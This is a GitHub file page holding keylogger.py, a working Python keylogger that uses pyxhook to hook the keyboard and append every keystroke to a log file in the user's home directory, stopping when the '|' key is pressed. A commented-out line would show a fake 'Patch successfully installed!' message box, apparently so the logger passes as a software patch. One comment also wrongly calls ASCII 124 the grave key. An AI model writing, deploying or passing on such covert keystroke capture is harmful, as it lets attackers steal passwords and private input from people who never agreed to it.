-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
executable file
·43 lines (35 loc) · 1.04 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import pyxhook
import os
import ctypes
# Getting the home path :
home = os.curdir
if 'HOME' in os.environ:
home = os.environ['HOME']
elif os.name == 'posix':
home = os.path.expanduser("~/")
elif os.name == 'nt':
if 'HOMEPATH' in os.environ and 'HOMEDRIVE' in os.environ:
home = os.environ['HOMEDRIVE'] + os.environ['HOMEPATH']
else:
home = os.environ['HOMEPATH']
# change this to your log file's path
# Now it is set in user's home path
log_file=home+'/file.log'
# this function is called everytime a key is pressed.
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==124: # 124 is the ascii value of the grave key (|)
fob.close()
new_hook.cancel()
# instantiate HookManager class
new_hook = pyxhook.HookManager()
# listen to all keystrokes
new_hook.KeyDown=OnKeyPress
# hook the keyboard
new_hook.HookKeyboard()
# start the session
new_hook.start()
# creiamo una falsa message box
# ctypes.windll.user32.MessageBoxW(0, u"Patch successfully installed!", u"Patch", 0)